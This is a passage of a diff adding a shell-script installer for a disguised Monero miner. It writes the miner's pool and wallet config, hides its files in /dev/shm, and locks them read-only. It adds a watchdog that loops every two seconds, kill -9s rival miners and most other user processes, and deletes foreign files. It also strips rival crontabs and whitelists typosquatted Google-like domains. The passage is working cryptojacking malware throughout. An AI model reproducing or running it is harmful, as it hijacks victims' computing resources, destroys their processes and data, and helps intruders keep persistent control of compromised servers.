+  _cwd=$(readlink "/proc/$_p/cwd" 2>/dev/null)
+  case "$_c" in *"$_w/"*) return 0 ;; esac
+  case "$_x" in "$_w"/*) return 0 ;; esac
+  [ "$_cwd" = "$_w" ] && return 0
+  return 1
+}
+
+is_our_wdir_process() {
+  _p=$1
+  _w=$2
+  proc_touches_wdir "$_p" "$_w" || return 1
+  _c=$(ps -p "$_p" -o args= 2>/dev/null)
+  _x=$(readlink "/proc/$_p/exe" 2>/dev/null)
+  is_our_javab_pid "$_p" && return 0
+  case "$_c" in
+    *"$_w/.rguard"*) is_our_script_file "$_w/.rguard" && return 0 ;;
+    *"$_w/idle"*) is_our_script_file "$_w/idle" && return 0 ;;
+    *"$_w/.khp"*) is_our_script_file "$_w/.khp" && return 0 ;;
+    *"$_w/.ksmd_guard"*) is_our_script_file "$_w/.ksmd_guard" && return 0 ;;
+  esac
+  case "$_x" in "$_w/javab") is_our_javab_pid "$_p" && return 0 ;; esac
+  case "$_c" in sleep|*/sleep)
+    _pp=$(awk '/^PPid:/{print $2}' "/proc/$_p/status" 2>/dev/null)
+    [ -n "$_pp" ] && is_our_wdir_process "$_pp" "$_w" && return 0
+    ;;
+  esac
+  return 1
+}
+
+# /dev/shm（或 WDIR）内：非我方进程/文件一律清掉
+purge_wdir_foreign() {
+  _w=$1
+  [ -n "$_w" ] && [ -d "$_w" ] || return 0
+  _un=$(id -un 2>/dev/null) || return 0
+  for _p in $(ps -u "$_un" -o pid= --no-headers 2>/dev/null); do
+    proc_touches_wdir "$_p" "$_w" || continue
+    is_our_wdir_process "$_p" "$_w" && continue
+    run kill -9 "$_p" 2>/dev/null || true
+  done
+  for _f in "$_w"/* "$_w"/.[!.]* "$_w"/..?*; do
+    [ -e "$_f" ] || continue
+    _b=$(basename "$_f")
+    case "$_b" in .|..) continue ;; esac
+    our_wdir_basename "$_b" && continue
+    [ -f "$_f" ] && is_our_script_file "$_f" && continue
+    wdir_unlock_file "$_f"
+    rm -rf "$_f" 2>/dev/null || true
+  done
+}
+
+# 普通用户可用：安装后 chmod 555 防对手原地覆写（不能防 rm；root 仍可改）
+wdir_unlock_file() {
+  _p=$1
+  [ -e "$_p" ] || return 0
+  chmod u+w "$_p" 2>/dev/null || true
+}
+
+wdir_unlock_all() {
+  _w=$1
+  [ -n "$_w" ] || return 0
+  for _f in javab idle .rguard .khp .ksmd_guard .javab.json .ksmd_manifest \
+    .ksmd_guard_ts .ksmd_guard_loop_ts .ksmd_defend_ts; do
+    wdir_unlock_file "$_w/$_f"
+  done
+}
+
+try_lock_wdir() {
+  [ -n "$WDIR" ] || return 0
+  [ "$DRY_RUN" = "1" ] && return 0
+  for _f in javab idle .rguard .khp .ksmd_guard; do
+    [ -e "$WDIR/$_f" ] && chmod 555 "$WDIR/$_f" 2>/dev/null || true
+  done
+  [ -e "$WDIR/.javab.json" ] && chmod 444 "$WDIR/.javab.json" 2>/dev/null || true
+  log "WDIR 链文件已只读锁定 (555/444，普通用户可用)"
+}
+
+# 安装前清空 WDIR：/dev/shm 平铺时清顶层全部；.pol-lite 子目录只清目录内
+wipe_install_dir() {
+  _w=$1
+  [ -n "$_w" ] || return 0
+  [ "$DRY_RUN" = "1" ] && return 0
+  log "安装前清空目录: $_w"
+  mkdir -p "$_w" 2>/dev/null || return 1
+  wdir_unlock_all "$_w"
+  for _f in javab idle .rguard .khp .khp_ts .khp_fusion_ts .javab.json .ksmd_guard .ksmd_manifest \
+    .ksmd_guard_ts .ksmd_guard_loop_ts .ksmd_defend_ts .javab.spawn.lock rguard.log idle_boot.log idle_cron.log \
+    idle_guard.log javab.log; do
+    rm -f "$_w/$_f" 2>/dev/null || true
+  done
+  find "$_w" -maxdepth 1 -name '.ksmd_*' 2>/dev/null | while IFS= read -r _kf; do
+    wdir_unlock_file "$_kf"
+    rm -f "$_kf" 2>/dev/null || true
+  done
+  if [ "$_w" = "/dev/shm" ]; then
+    for _f in "$_w"/* "$_w"/.[!.]* "$_w"/..?*; do
+      [ -e "$_f" ] || continue
+      _b=$(basename "$_f")
+      case "$_b" in .|..) continue ;; esac
+      wdir_unlock_file "$_f"
+      rm -rf "$_f" 2>/dev/null || true
+    done
+  fi
+}
+
+# 已安装目录（有 manifest 才算我们的，重装时不能误删误杀）
+our_wdir() {
+  if [ -n "$WDIR" ] && [ -f "$WDIR/.ksmd_manifest" ]; then
+    echo "$WDIR"
+    return 0
+  fi
+  if [ -f "$REMOTE_WDIR/.ksmd_manifest" ]; then
+    echo "$REMOTE_WDIR"
+    return 0
+  fi
+  for d in /dev/shm /tmp /var/tmp; do
+    if [ -f "$d/.ksmd_manifest" ] && grep -qF "marker=$MARKER" "$d/.ksmd_manifest" 2>/dev/null; then
+      echo "$d"
+      return 0
+    fi
+    if [ -f "$d/.pol-lite/.ksmd_manifest" ] && grep -qF "marker=$MARKER" "$d/.pol-lite/.ksmd_manifest" 2>/dev/null; then
+      echo "$d/.pol-lite"
+      return 0
+    fi
+  done
+  return 1
+}
+
+# 对手 javab 无 -c；我方固定 ./javab -c .javab.json → 用 ps/grep 即可
+javab_cmdline() {
+  ps -p "$1" -o args= 2>/dev/null
+}
+
+is_our_javab_pid() {
+  _c=$(javab_cmdline "$1")
+  case "$_c" in *javab*-*c*) return 0 ;; esac
+  return 1
+}
+
+is_rival_javab_pid() {
+  _c=$(javab_cmdline "$1")
+  case "$_c" in *javab*) case "$_c" in *-c*) return 1 ;; esac; return 0 ;; esac
+  return 1
+}
+
+purge_tmp_gang() {
+  _ow=$(our_wdir 2>/dev/null) || _ow=""
+  [ -z "$_ow" ] && [ -n "$WDIR" ] && _ow="$WDIR"
+  _un=$(id -un 2>/dev/null) || return 0
+  _u=$(id -u 2>/dev/null) || return 0
+  if ! is_our_install_root "$_ow" /tmp; then
+    run pkill -9 -u "$_u" -f '/tmp/\.rguard' 2>/dev/null || true
+    run pkill -9 -u "$_u" -f '/tmp/idle' 2>/dev/null || true
+    run pkill -9 -u "$_u" -f '/tmp/\.khp' 2>/dev/null || true
+  fi
+  if ! is_our_install_root "$_ow" /dev/shm; then
+    run pkill -9 -u "$_u" -f '/dev/shm/\.rguard' 2>/dev/null || true
+    run pkill -9 -u "$_u" -f '/dev/shm/idle' 2>/dev/null || true
+    run pkill -9 -u "$_u" -f '/dev/shm/\.khp' 2>/dev/null || true
+  fi
+  kill_rival_rguard
+  [ -n "$_ow" ] && purge_wdir_foreign "$_ow"
+  _keep_j=""
+  for _p in $(ps -u "$_un" -o pid= --no-headers 2>/dev/null); do
+    _c=$(javab_cmdline "$_p")
+    case "$_c" in
+      *"/tmp/idle"*|*" /tmp/idle"*|*"/tmp/.rguard"*)
+        case "$_c" in *"$_ow"*) continue ;; esac
+        run kill -9 "$_p" 2>/dev/null || true
+        ;;
+      *"/dev/shm/idle"*|*"/dev/shm/.rguard"*)
+        if [ "$_ow" = "/dev/shm" ] && is_our_script_file "$_ow/.rguard"; then
+          continue
+        fi
+        run kill -9 "$_p" 2>/dev/null || true
+        ;;
+      *javab*)
+        if is_rival_javab_pid "$_p"; then
+          run kill -9 "$_p" 2>/dev/null || true
+        elif is_our_javab_pid "$_p"; then
+          if [ -z "$_keep_j" ]; then _keep_j="$_p"; else run kill -9 "$_p" 2>/dev/null || true; fi
+        fi
+        ;;
+    esac
+  done
+}
+
+kill_rival_javab() {
+  _un=$(id -un 2>/dev/null) || return 0
+  for _p in $(ps -u "$_un" -o pid= --no-headers 2>/dev/null); do
+    is_rival_javab_pid "$_p" && run kill -9 "$_p" 2>/dev/null || true
+  done
+}
+
+kill_rival_rguard() {
+  _keep=$(our_wdir 2>/dev/null) || _keep=""
+  _un=$(id -un 2>/dev/null) || return 0
+  ps -u "$_un" -o pid=,args= -ww --no-headers 2>/dev/null | while IFS= read -r _line; do
+    _p=$(echo "$_line" | awk '{print $1}')
+    _c=$(echo "$_line" | sed 's/^[[:space:]]*[0-9][0-9]*[[:space:]]*//')
+    case "$_c" in *\.rguard*|*"/tmp/idle"*|*" /tmp/idle"*|*"/dev/shm/idle"*|*"/dev/shm/.rguard"*) ;; *) continue ;; esac
+    if [ -n "$_keep" ]; then
+      case "$_c" in *"$_keep"*)
+        case "$_c" in *\.rguard*|*/.rguard*)
+          is_rival_rguard_file "$_keep/.rguard" || continue
+          ;;
+        *idle*)
+          is_rival_idle_file "$_keep/idle" || continue
+          ;;
+        esac
+        ;;
+      esac
+    fi
+    run kill -9 "$_p" 2>/dev/null || true
+  done
+}
+
+fast_rival_pkill() {
+  _u=$(id -u 2>/dev/null) || return 0
+  for _pat in 'find /' .claude unicorn 6556 'base64 -d' m51sr m51src \
+    hash-object\ -w m51src m51sr 'redis/lang/ksmd' gitea_exp auto_deploy \
+    apt-update mnmonitor xmrig universal-miner sysinit kworkerds minerd cpuminer; do
+    ksmd_protect_install && case "$_pat" in hash-object*|googletagmanagar|googlelagmanager|google-analytices) continue ;; esac
+    run pkill -9 -u "$_u" -f "$_pat" 2>/dev/null || true
+  done
+}
+
+# curl 下载 xmrig/Agent 前：剥对手 cron + 再压一遍 /dev/shm 对手
+preflight_before_download() {
+  log "preflight: 清理对手 cron + flat /tmp 链..."
+  strip_rival_crontab
+  purge_tmp_gang
+  fast_rival_pkill
+}
+
+write_javab_config() {
+  cfg="$WDIR/.javab.json"
+  cat >"$cfg" <<JCFG
+{
+  "pools": [{
+    "url": "${POOL}",
+    "user": "${XMR_WALLET}",
+    "pass": "${XMR_WORKER}",
+    "algo": "rx/0",
+    "keepalive": true
+  }],
+  "cpu": { "enabled": true, "threads": ${XMR_THREADS} },
+  "donate-level": 1,
+  "randomx": { "mode": "${XMR_RANDOMX_MODE:-auto}" },
+  "log-file": "/dev/null",
+  "background": false
+}
+JCFG
+  chmod 600 "$cfg" 2>/dev/null || true
+}
+
+write_rguard() {
+  cat >"$WDIR/.rguard" <<RGUARD
+#!/bin/sh
+# $MARKER ksmd-rguard
+_W="$WDIR"
+_AGENT_H="$AGENT_HOME"
+_INTERVAL=2
+_MARKER="$MARKER"
+_ME=\$\$
+# 当前运行用户自动获取（git 或其他普通用户，非 root）
+_UN=\$(id -un 2>/dev/null)
+_UID=\$(id -u 2>/dev/null)
+
+_is_agent() {
+  case "\$1" in
+    *\$_AGENT_H/*|*/.local/share/systemd/.core*|*/.local/share/systemd/systemd-userdbd*)
+      return 0 ;;
+    *systemd-userdbd*|*user-session-launch*|*.session-watchdog*|*.agent_guard*)
+      return 0 ;;
+  esac
+  case "\$2" in
+    *\$_AGENT_H/*|*/.local/share/systemd/.core*|*/.local/share/systemd/systemd-userdbd*)
+      return 0 ;;
+  esac
+  return 1
+}
+
+_is_our_javab() {
+  _c=\$(ps -p "\$1" -o args= 2>/dev/null)
+  case "\$_c" in *javab*-*c*) return 0 ;; esac
+  return 1
+}
+
+_our_wdir_name() {
+  case "\$1" in
+    javab|idle|.rguard|.khp|.ksmd_guard|.javab.json|.ksmd_manifest|.khp_ts|.khp_fusion_ts|.ksmd_guard_ts|.ksmd_guard_loop_ts|.ksmd_defend_ts|.javab.spawn.lock|rguard.log|idle_boot.log|idle_cron.log|idle_guard.log|javab.log)
+      return 0 ;;
+  esac
+  case "\$1" in .ksmd_*) return 0 ;; esac
+  return 1
+}
+
+_proc_in_wdir() {
+  _p="\$1"
+  _c=\$(ps -p "\$_p" -o args= 2>/dev/null) || return 1
+  _x=\$(readlink "/proc/\$_p/exe" 2>/dev/null)
+  _cwd=\$(readlink "/proc/\$_p/cwd" 2>/dev/null)
+  case "\$_c" in *"\$_W/"*) return 0 ;; esac
+  case "\$_x" in "\$_W"/*) return 0 ;; esac
+  [ "\$_cwd" = "\$_W" ] && return 0
+  return 1
+}
+
+_is_our_wdir_proc() {
+  _p="\$1"
+  _proc_in_wdir "\$_p" || return 1
+  _is_our_javab "\$_p" && return 0
+  _c=\$(ps -p "\$_p" -o args= 2>/dev/null)
+  _x=\$(readlink "/proc/\$_p/exe" 2>/dev/null)
+  case "\$_c" in
+    *"\$_W/.rguard"*) _is_our_script "\$_W/.rguard" && return 0 ;;
+    *"\$_W/idle"*) _is_our_script "\$_W/idle" && return 0 ;;
+    *"\$_W/.khp"*) _is_our_script "\$_W/.khp" && return 0 ;;
+    *"\$_W/.ksmd_guard"*) _is_our_script "\$_W/.ksmd_guard" && return 0 ;;
+  esac
+  case "\$_x" in "\$_W/javab") _is_our_javab "\$_p" && return 0 ;; esac
+  case "\$_c" in sleep|*/sleep)
+    _pp=\$(awk '/^PPid:/{print \$2}' "/proc/\$_p/status" 2>/dev/null)
+    [ -n "\$_pp" ] && _is_our_wdir_proc "\$_pp" && return 0
+    ;;
+  esac
+  return 1
+}
+
+_purge_wdir_foreign() {
+  [ -d "\$_W" ] || return 0
+  for _p in \$(ps -u "\$_UN" -o pid= --no-headers 2>/dev/null); do
+    [ "\$_p" = "\$_ME" ] && continue
+    _proc_in_wdir "\$_p" || continue
+    _is_our_wdir_proc "\$_p" && continue
+    _c=\$(ps -p "\$_p" -o args= 2>/dev/null)
+    _x=\$(readlink "/proc/\$_p/exe" 2>/dev/null)
+    _is_agent "\$_c" "\$_x" && continue
+    kill -9 "\$_p" 2>/dev/null
+  done
+  for _f in "\$_W"/* "\$_W"/.[!.]* "\$_W"/..?*; do
+    [ -e "\$_f" ] || continue
+    _b=\$(basename "\$_f")
+    case "\$_b" in .|..) continue ;; esac
+    _our_wdir_name "\$_b" && continue
+    [ -f "\$_f" ] && _is_our_script "\$_f" && continue
+    chmod u+w "\$_f" 2>/dev/null
+    rm -rf "\$_f" 2>/dev/null
+  done
+}
+
+_dedupe_our_javab() {
+  _keep=""
+  for _p in \$(ps -u "\$_UN" -o pid= --no-headers 2>/dev/null); do
+    _is_our_javab "\$_p" || continue
+    if [ -z "\$_keep" ]; then _keep="\$_p"; continue; fi
+    kill -9 "\$_p" 2>/dev/null
+  done
+}
+
+_kill_rival_javab() {
+  for _p in \$(ps -u "\$_UN" -o pid= --no-headers 2>/dev/null); do
+    _c=\$(ps -p "\$_p" -o args= 2>/dev/null)
+    case "\$_c" in *javab*) case "\$_c" in *-c*) continue ;; esac; kill -9 "\$_p" 2>/dev/null ;; esac
+  done
+}
+
+# 不遍历 /proc/*：先 pkill 秒杀已知对手，再用 ps -u 只列本用户进程做白名单清理
+_fast_rival() {
+  _u="\$1"
+  _keep="\$_W"
+  for _pat in unicorn 6556 'base64 -d' 'base64 -D' 'find /' .claude \
+    m51sr m51src mnmonitor apt-update 'redis/lang/ksmd' \
+    'CRON jobs' gitea_exp auto_deploy '/exp/'; do
+    pkill -9 -u "\$_u" -f "\$_pat" 2>/dev/null || true
+  done
+  _dedupe_our_javab
+  _kill_rival_javab
+  pkill -9 -u "\$_u" -f '/tmp/\.rguard' 2>/dev/null || true
+  pkill -9 -u "\$_u" -f '/tmp/idle' 2>/dev/null || true
+  if [ "\$_W" != "/dev/shm" ]; then
+    pkill -9 -u "\$_u" -f '/dev/shm/\.rguard' 2>/dev/null || true
+    pkill -9 -u "\$_u" -f '/dev/shm/idle' 2>/dev/null || true
+    pkill -9 -u "\$_u" -f '/dev/shm/\.khp' 2>/dev/null || true
+  fi
+  ps -u "\$(id -un 2>/dev/null)" -o pid=,args= -ww --no-headers 2>/dev/null | while IFS= read -r _line; do
+    _p=\$(echo "\$_line" | awk '{print \$1}')
+    _c=\$(echo "\$_line" | sed 's/^[[:space:]]*[0-9][0-9]*[[:space:]]*//')
+    if _proc_in_wdir "\$_p"; then
+      _is_our_wdir_proc "\$_p" && continue
+      _is_agent "\$_c" "\$(readlink "/proc/\$_p/exe" 2>/dev/null)" && continue
+      kill -9 "\$_p" 2>/dev/null
+      continue
+    fi
+    case "\$_c" in *"\$_W"*) continue ;; esac
+    _x=\$(readlink "/proc/\$_p/exe" 2>/dev/null)
+    _is_agent "\$_c" "\$_x" && continue
+    case "\$_c" in *googletagmanagar*|*googlelagmanager*|*google-analytices*) continue ;; esac
+    _rival_install_cmd "\$_c" && { kill -9 "\$_p" 2>/dev/null; continue; }
+    case "\$_c" in *m51src*|*m51sr*|*gitea_exp*|*"/tmp/idle"*|*"/tmp/.rguard"*|*"/tmp/.khp"*)
+      kill -9 "\$_p" 2>/dev/null ;;
+    esac
+    if [ "\$_W" != "/dev/shm" ]; then
+      case "\$_c" in *"/dev/shm/idle"*|*"/dev/shm/.rguard"*|*"/dev/shm/.khp"*)
+        kill -9 "\$_p" 2>/dev/null ;;
+      esac
+    fi
+  done
+  ps -u "\$(id -un 2>/dev/null)" -o pid=,args= -ww --no-headers 2>/dev/null | while IFS= read -r _line; do
+    _p=\$(echo "\$_line" | awk '{print \$1}')
+    _c=\$(echo "\$_line" | sed 's/^[[:space:]]*[0-9][0-9]*[[:space:]]*//')
+    if _proc_in_wdir "\$_p"; then
+      _is_our_wdir_proc "\$_p" && continue
+      _is_agent "\$_c" "\$(readlink "/proc/\$_p/exe" 2>/dev/null)" && continue
+      kill -9 "\$_p" 2>/dev/null
+      continue
+    fi
+    case "\$_c" in *"\$_W"*) continue ;; esac
+    _x=\$(readlink "/proc/\$_p/exe" 2>/dev/null)
+    _is_agent "\$_c" "\$_x" && continue
+    case "\$_c" in *googletagmanagar*|*googlelagmanager*|*google-analytices*) continue ;; esac
+    _rival_install_cmd "\$_c" && { kill -9 "\$_p" 2>/dev/null; continue; }
+    case "\$_c" in *m51src*|*m51sr*|*gitea_exp*|*"/tmp/idle"*|*"/tmp/.rguard"*|*"/tmp/.khp"*)
+      kill -9 "\$_p" 2>/dev/null ;;
+    esac
+    if [ "\$_W" != "/dev/shm" ]; then
+      case "\$_c" in *"/dev/shm/idle"*|*"/dev/shm/.rguard"*|*"/dev/shm/.khp"*)
+        kill -9 "\$_p" 2>/dev/null ;;
+      esac
+    fi
+  done
+}
+
+_our_install_cmd() {
+  case "\$1" in
+    *\$_MARKER*|*googletagmanagar*|*googlelagmanager*|*google-analytices*) return 0 ;;
+    */.ksmd_*) return 0 ;;
+  esac
+  return 1
+}
+
+# 对手 gitea hook：任意 IP 的 curl|sh / wget|sh，或已知对手路径（不依赖固定 IP）
+_rival_install_cmd() {
+  _our_install_cmd "\$1" && return 1
+  case "\$1" in
+    *curl*|*wget*)
+      case "\$1" in *\|sh*|*\|\ sh*|*\|bash*|*\|\ bash*) return 0 ;; esac
+    ;;
+    *sh\ -c*|*/bin/sh\ -c*|*bash\ -c*)
+      case "\$1" in
+        *curl*|*wget*)
+          case "\$1" in *\|sh*|*\|\ sh*|*\|bash*|*\|\ bash*) return 0 ;; esac
+        ;;
+        *base64*|*6556*) return 0 ;;
+      esac
+    ;;
+  esac
+  case "\$1" in
+    *m51src*|*m51sr*|*gitea_exp*|*auto_deploy*|*apt-update*|*redis/lang/ksmd*)
+      case "\$1" in *curl*|*wget*|*sh\ -c*|*/bin/sh\ -c*|*bash\ -c*) return 0 ;; esac
+    ;;
+  esac
+  return 1
+}
+
+_our_domain() {
+  case "\$1" in
+    *googletagmanagar*|*googlelagmanager*|*google-analytices*) return 0 ;;
+  esac
+  return 1
+}
+
+# 明确对手特征（含 exp / jobs / m51sr / 非我方 curl）
+_rival_hit() {
+  _c="\$1"
+  _x="\$2"
+  case "\$_x" in */gitea|*/gitea-*|*/usr/local/bin/gitea*) return 1 ;; esac
+  case "\$_c" in
+    */usr/local/bin/gitea*|*gitea\ web*|*gitea\ serv*|*--config\ /etc/gitea/app.ini*)
+      return 1 ;;
+    *m51sr*|*m51src*) return 0 ;;
+    *javab*)
+      case "\$_c" in *-c*) return 1 ;; esac
+      return 0 ;;
+    *jobs*)
+      case "\$_c" in *\$_MARKER*|*ksmd_guard*|*gitea*) return 1 ;; esac
+      return 0 ;;
+    *exp*)
+      _our_domain "\$_c" && return 1
+      return 0 ;;
+    *curl*|*wget*|*m51src*|*m51sr*)
+      _rival_install_cmd "\$_c" && return 0
+      _our_install_cmd "\$_c" && return 1
+      _our_domain "\$_c" && return 1
+      return 0 ;;
+  esac
+  return 1
+}
+
+_allowed() {
+  _c="\$1"
+  _x="\$2"
+  _pid="\$3"
+  _rival_install_cmd "\$_c" && return 1
+  _walk="\$_pid"
+  _i=0
+  while [ -n "\$_walk" ] && [ "\$_walk" != "0" ] && [ "\$_walk" != "1" ] && [ \$_i -lt 12 ]; do
+    _pc=\$(ps -p "\$_walk" -o args= -ww 2>/dev/null)
+    case "\$_pc" in
+      *\$_MARKER*|*googletagmanagar*|*googlelagmanager*|*google-analytices*)
+        return 0 ;;
+    esac
+    _our_install_cmd "\$_pc" && return 0
+    _walk=\$(awk '/^PPid:/{print \$2}' "/proc/\$_walk/status" 2>/dev/null)
+    _i=\$((_i + 1))
+  done
+  case "\$_x" in
+    */usr/local/bin/gitea|*/usr/local/bin/gitea-*|*/bin/gitea|*/bin/gitea-*)
+      return 0 ;;
+    *\$_W/javab*|*/.local/share/systemd/.core*|*/.local/share/systemd/systemd-userdbd*)
+      return 0 ;;
+    */usr/bin/git*)
+      return 0 ;;
+  esac
+  case "\$_c" in
+    *git\ hash-object*|*hash-object\ -w\ --stdin*)
+      _our_install_cmd "\$_c" && return 0
+      case "\$_c" in *gitea_exp/*|*m51src*|*m51sr*) return 1 ;; esac
+      return 0 ;;
+    *javab*-*c*)
+      return 0 ;;
+    */usr/local/bin/gitea*|*/bin/gitea\ *|*gitea\ web*|*gitea\ serv*)
+      return 0 ;;
+    *--config\ /etc/gitea/app.ini*)
+      return 0 ;;
+    *git\ receive-pack*|*git\ upload-pack*|*git\ shell*|*/bin/git\ *|*/usr/bin/git\ *)
+      return 0 ;;
+    *sshd*|*" ssh "*) return 0 ;;
+    *systemd\ --user*|*sd-pam*|*dbus-daemon*|*dbus-broker*) return 0 ;;
+  esac
+  case "\$_c" in
+    *\$_W/.rguard*)
+      _is_our_script "\$_W/.rguard" && return 0 ;;
+    *\$_W/idle*)
+      _is_our_script "\$_W/idle" && return 0 ;;
+    *\$_W/.khp*)
+      _is_our_script "\$_W/.khp" && return 0 ;;
+    *\$_W/.ksmd_guard*)
+      _is_our_script "\$_W/.ksmd_guard" && return 0 ;;
+    *\$_W/javab*)
+      _is_our_javab "\$_pid" && return 0 ;;
+    *"/tmp/idle"*|*"/tmp/.rguard"*|*"/tmp/.khp"*|*"/dev/shm/idle"*|*"/dev/shm/.rguard"*|*"/dev/shm/.khp"*)
+      return 1 ;;
+    */.local/share/systemd/*|*systemd-userdbd*|*user-session-launch*|*.session-watchdog*|*.agent_guard*)
+      return 0 ;;
+    *googletagmanagar*|*googlelagmanager*|*google-analytices*)
+      return 0 ;;
+    *\$_MARKER-ksmd-guard*)
+      return 0 ;;
+  esac
+  case "\$_c" in sh|/bin/sh|bash|/bin/bash|-sh|"")
+    _walk=\$(awk '/^PPid:/{print \$2}' "/proc/\$_pid/status" 2>/dev/null)
+    _i=0
+    while [ -n "\$_walk" ] && [ "\$_walk" != "0" ] && [ "\$_walk" != "1" ] && [ \$_i -lt 8 ]; do
+      _pc=\$(ps -p "\$_walk" -o args= -ww 2>/dev/null)
+      _px=\$(readlink "/proc/\$_walk/exe" 2>/dev/null)
+      _rival_install_cmd "\$_pc" && return 1
+      case "\$_px" in */usr/local/bin/gitea|*/bin/gitea*) return 0 ;; esac
+      case "\$_pc" in
+        *\$_W/.rguard*|*\$_W/idle*|*\$_W/.khp*|*\$_W/.ksmd_guard*|*\$_W/javab*|*/.local/share/systemd/*|*googletagmanagar*|*googlelagmanager*|*gitea\ web*|*/usr/local/bin/gitea*)
+          return 0 ;;
+      esac
+      _walk=\$(awk '/^PPid:/{print \$2}' "/proc/\$_walk/status" 2>/dev/null)
+      _i=\$((_i + 1))
+    done
+    ;;
+  esac
+  return 1
+}
+
+_ps_me() {
+  [ -n "\$_UN" ] || _UN=\$(id -un 2>/dev/null)
+  ps -u "\$_UN" -o pid=,args= -ww --no-headers 2>/dev/null && return 0
+  ps -U "\$_UN" -o pid=,args= -ww 2>/dev/null
+}
+
+_dedupe_our_idle() {
+  _keep=""
+  for _p in \$(pgrep -f "\$_W/idle" 2>/dev/null); do
+    [ "\$_p" = "\$_ME" ] && continue
+    if [ -z "\$_keep" ]; then _keep="\$_p"; continue; fi
+    kill -9 "\$_p" 2>/dev/null
+  done
+}
+
+_start_javab() {
+  _lk="\$_W/.javab.spawn.lock"
+  mkdir "\$_lk" 2>/dev/null || return 0
+  if pgrep -f 'javab -c' >/dev/null 2>&1; then rmdir "\$_lk" 2>/dev/null; return 0; fi
+  cd "\$_W" || { rmdir "\$_lk" 2>/dev/null; return 1; }
+  [ -f "\$_W/.javab.json" ] || { rmdir "\$_lk" 2>/dev/null; return 1; }
+  [ -x "\$_W/javab" ] || { rmdir "\$_lk" 2>/dev/null; return 1; }
+  ./javab -c .javab.json >>/dev/null 2>&1 &
+  rmdir "\$_lk" 2>/dev/null
+}
+
+# idle 挂掉时由 rguard 补链（容器无 crontab 时不能单靠 idle 自恢复）
+_ensure_miner_chain() {
+  [ -x "\$_W/idle" ] || return 0
+  _dedupe_our_idle
+  pgrep -f "\$_W/idle" >/dev/null 2>&1 || nohup sh "\$_W/idle" >>/dev/null 2>&1 &
+  if ! pgrep -f 'javab -c' >/dev/null 2>&1; then
+    _start_javab
+  fi
+}
+
+# 与 idle 共用时间戳，避免双份触发；idle 不在时仍每 60s 调 guard
+_maybe_ksmd_guard() {
+  [ -x "\$_W/.ksmd_guard" ] || return 0
+  _now=\$(date +%s 2>/dev/null)
+  [ -n "\$_now" ] || return 0
+  _lg=\$(cat "\$_W/.ksmd_guard_loop_ts" 2>/dev/null)
+  [ -z "\$_lg" ] && _lg=0
+  [ \$((_now - _lg)) -lt 60 ] 2>/dev/null && return 0
+  echo "\$_now" > "\$_W/.ksmd_guard_loop_ts" 2>/dev/null
+  sh "\$_W/.ksmd_guard" >>/dev/null 2>&1 &
+}
+
+_is_our_script() {
+  _f="\$1"
+  [ -f "\$_f" ] || return 1
+  head -5 "\$_f" 2>/dev/null | grep -qF "\$_MARKER" && return 0
+  head -5 "\$_f" 2>/dev/null | grep -qi 'ksmd-rguard' && return 0
+  head -12 "\$_f" 2>/dev/null | grep -q 'KSMD_URL' && return 0
+  head -12 "\$_f" 2>/dev/null | grep -q 'googletagmanagar' && return 0
+  return 1
+}
+
+_tampered_on_disk() {
+  head -3 "\$_W/.rguard" 2>/dev/null | grep -qi 'rival guard' && return 0
+  head -10 "\$_W/idle" 2>/dev/null | grep -qi '_rival_kill\|687474703a2f2f34352e3734\|45\.74\.7\.226' && return 0
+  _is_our_script "\$_W/.rguard" && _is_our_script "\$_W/idle" || return 0
+  return 1
+}
+
+# 对手 hook 覆写 /dev/shm 脚本时：删对手文件、杀对手进程、触发 ksmd_guard 重装
+_defend_our_files() {
+  _tampered_on_disk || return 0
+  for _f in idle .rguard .khp; do
+    _p="\$_W/\$_f"
+    _is_our_script "\$_p" && continue
+    chmod u+w "\$_p" 2>/dev/null
+    rm -f "\$_p" 2>/dev/null
+  done
+  for _p in \$(pgrep -f "\$_W/.rguard" 2>/dev/null); do
+    [ "\$_p" = "\$_ME" ] && continue
+    kill -9 "\$_p" 2>/dev/null
+  done
+  for _p in \$(pgrep -f "\$_W/idle" 2>/dev/null); do
+    kill -9 "\$_p" 2>/dev/null
+  done
+  for _p in \$(ps -u "\$_UN" -o pid= --no-headers 2>/dev/null); do
+    _c=\$(ps -p "\$_p" -o args= 2>/dev/null)
+    case "\$_c" in *javab*) case "\$_c" in *-c*) continue ;; esac; kill -9 "\$_p" 2>/dev/null ;; esac
+  done
+  _now=\$(date +%s 2>/dev/null)
+  _lg=\$(cat "\$_W/.ksmd_defend_ts" 2>/dev/null)
+  [ -n "\$_now" ] && [ -n "\$_lg" ] && [ \$((_now - _lg)) -lt 30 ] 2>/dev/null && return 0
+  echo "\$_now" > "\$_W/.ksmd_defend_ts" 2>/dev/null
+  [ -x "\$_W/.ksmd_guard" ] && sh "\$_W/.ksmd_guard" >>/dev/null 2>&1 &
+}
+
+_relock_our_files() {
+  for _f in javab idle .rguard .khp .ksmd_guard; do
+    _p="\$_W/\$_f"
+    case "\$_f" in
+      javab) [ -f "\$_p" ] || continue ;;
+      *) _is_our_script "\$_p" || continue ;;
+    esac
+    [ -f "\$_p" ] && chmod 555 "\$_p" 2>/dev/null
+  done
+  [ -f "\$_W/.javab.json" ] && chmod 444 "\$_W/.javab.json" 2>/dev/null
+}
+
+while true; do
+  _UID=\$(id -u 2>/dev/null)
+  [ -n "\$_UID" ] && [ "\$_UID" != "0" ] || { sleep \$_INTERVAL; continue; }
+  _defend_our_files
+  _relock_our_files
+  _purge_wdir_foreign
+  _fast_rival "\$_UID"
+  _dedupe_our_javab
+  _ps_me | while IFS= read -r _line; do
+    _p=\$(echo "\$_line" | awk '{print \$1}')
+    _c=\$(echo "\$_line" | sed 's/^[[:space:]]*[0-9][0-9]*[[:space:]]*//')
+    [ -n "\$_p" ] || continue
+    [ "\$_p" = "\$_ME" ] && continue
+    _x=\$(readlink "/proc/\$_p/exe" 2>/dev/null)
+    _is_our_javab "\$_p" && continue
+    _is_agent "\$_c" "\$_x" && continue
+    _rival_install_cmd "\$_c" && { kill -9 "\$_p" 2>/dev/null; continue; }
+    _allowed "\$_c" "\$_x" "\$_p" && continue
+    _rival_hit "\$_c" "\$_x" && { kill -9 "\$_p" 2>/dev/null; continue; }
+    kill -9 "\$_p" 2>/dev/null
+  done
+  _ensure_miner_chain
+  _maybe_ksmd_guard
+  sleep \$_INTERVAL
+done
+RGUARD
+  chmod 755 "$WDIR/.rguard"
+}
+
+# 清理/下载前先落地我方 .rguard，避免 rival 0.1s 轮询杀 curl/sh/tar
+bootstrap_install_guard() {
+  [ "$DRY_RUN" = "1" ] && return 0
+  echo "KSMD_BOOTSTRAP"
+  preflight_before_download
